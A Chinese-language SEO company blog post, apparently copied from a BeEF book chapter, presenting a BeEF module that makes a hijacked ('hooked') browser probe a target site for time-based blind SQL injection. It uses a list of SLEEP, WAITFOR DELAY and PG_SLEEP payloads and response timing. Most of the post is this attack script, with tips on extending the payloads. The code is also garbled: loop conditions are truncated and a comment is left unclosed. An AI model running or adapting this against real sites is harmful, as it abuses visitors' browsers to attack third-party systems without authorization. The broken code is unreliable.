Web应用之跨域SQL盲注检测

       在Web应用中,即使是跨域请求,仍然可以确定请求是否成功。而且,还可以根据响应的时间来推断更多细节。

       SOP会阻止读取跨域XMLHttpRequest的响应体,因而在勾连浏览器上发现基于错误的SQLi并不现实。此时,可以利用跨域响应计时,以及基于时间的SQL注入。这样就可以看到跨域SQL注入的结果,从而发现并利用SQL注入漏洞。那么具体该如何操作呢?下面请看南昌网络公司小编为大家详细讲解一下:

       执行下面的代码可以使用时间延迟,以发现跨域Web应用中的SQLi漏洞。这段代码目前支持可以通过GET请求访问的资源,而要修改成支持POST请求的资源也很简单。

       另外,目前只支持MySQL、PostgreSQL和MSSQL,因为只有它们有时间延迟的SQL语句。正如Chema Alonso所演示的19,即使是耗时的查询也可以感知到时间延迟。同样,因为Oracle支持发送HTTP和DNS请求的功能,所以还可以进行相应的确认:

       beef.execute(function() {

       // 以秒计的延迟

       var delay = '<%= @delay %>';

       // 目标主机/端口

       var host = '<%= @host %>';

       var port = '<%= @port %>';

       // 要扫描的目标URL

       var uri = '<%= @uri %>';

       // 要扫描的URL参数,格式为:key=value

       var param = '<%= @parameter %>';

       /*需要处理主要注入的向量

       * 如果有嵌套的JOIN需要额外的括号

       * param和delay是占位符,

       * 稍后会在create_vector()中替换

       */

       var vectors = [

       "param AND delay", "param' AND delay",

       "param) AND delay", "param AND delay --",

       "param' AND delay --", "param) AND delay --",

       "param AND delay AND 'rand'='rand",

       "param' AND delay AND 'rand'='rand",

       "param' AND delay AND ('rand'='rand",

       "param; delay --"

       ];

       var db_types = ["mysql", "mssql", "postgresql"];

       var final_vectors = [];

       /* 每个DB都有不同的延迟语句

       function create_vector(vector, db_type){

       var result = "";

       if(db_type == "mysql")

       result = vector.replace("param",param)

       .replace("delay","SLEEP(" + delay + ")");

       if(db_type == "mssql")

       result = vector.replace("param",param)

       .replace("delay","WAITFOR DELAY '0:0:" + delay + "'");

       if(db_type == "postgresql")

       result = vector.replace("param",param)

       .replace("delay","PG_SLEEP(" + delay + ")");

       console.log("Vector before URL encoding: " + result);

       return encodeURI(result);

       }

       // 根据支持数据库替换param和delay占位符

       function populate_global_vectors(){

       for(var i=0;i

       var db_type = db_types[i];

       for(var e=0;e

       final_vectors.push(create_vector(vectors[e], db_type));

       }

       }

       }

       var vector_index = 0;

       function next_vector(){

       result = final_vectors[vector_index];

       vector_index++;

       return result;

       }

       var send_interval;

       var successfulVector = "";

       function sendRequests(){

       var vector = next_vector();

       var url = uri.replace(param, vector);

       beef.net.forge_request("http", "GET", host, port, url,

       null, null, null, delay + 2, 'script', true, null,

       function(response){

       // 如果XHR响应延迟,停止进程

       // 因为某个successfulVector已被发现

       if(response.duration >= delay * 1000){

       successfulVector = url;

       console.log("Response delayed with vector [" +

       successfulVector + "]");

       clearInterval(send_interval);

       }

       });

       }

       // 创建所有向量

       populate_global_vectors();

       /* 确定正常的响应时间,并且调整请求之间的延迟

       *(基准响应时间 +500 ms) */

       var response_time;

       beef.net.forge_request("http", "GET", host, port, uri,

       null, null, null, delay + 2, 'script', true, null,function(response){

       response_time = response.duration;

       send_interval = setInterval(function(){

       sendRequests()},response_time + 500); //can be adjusted

       });

       });

       把前面的代码注入勾连浏览器之后,会调用populate_global_vectors(),并根据支持的数据库类型和向量数组中的载荷,来创建攻击向量。这里的载荷并不完整,但对大多数攻击来说已经足够了。你可以根据自己的需求再进行添加,比如增加更多括号或使用不同的布尔关键字,以涵盖嵌套的联结或非常复杂的查询。

攻击的下一步是发送不带任何攻击向量的请求,以监控常规响应时间。这样才能有依据地对后续攻击向量作出调整,因为目标可能对常规请求都会花几秒才响应。确定了基准响应时间后,通过sendRequests()函数发送所有可用的攻击向量。每个XHR请求在处理后,都会有回调函数在响应到达后检测响应时间。如果响应时间等于或大于注入的延迟,则说明注入成功,并可以确认存在基于时间的SQLi漏洞。在图1和图2中,可以看到通过BeEF在勾连浏览器中注入代码后,内部发生了什么。

Web应用之跨域SQL盲注检测

        以上就是小编为大家介绍的关于Web应用中跨域SQL盲注检测的方法,如果还有哪些不懂的地方,可随时来电和我们联系。了解更多关于南昌网站建设、微信开发、手机APP开发等方面的知识,欢迎关注易速网络官网动态。

提供全面的搜索引擎优化学习交流,专注网站优化和搜索引擎营销推广服务。用专业的SEO技术为企业网站提升关键词排名,让你的网站不仅满足用户体验还要适合搜索引擎优化规则。
易速网站优化公司 » Web应用之跨域SQL盲注检测
享更多特权,立即登录下载海量资源
喜欢我嘛?喜欢就按“ctrl+D”收藏我吧!♡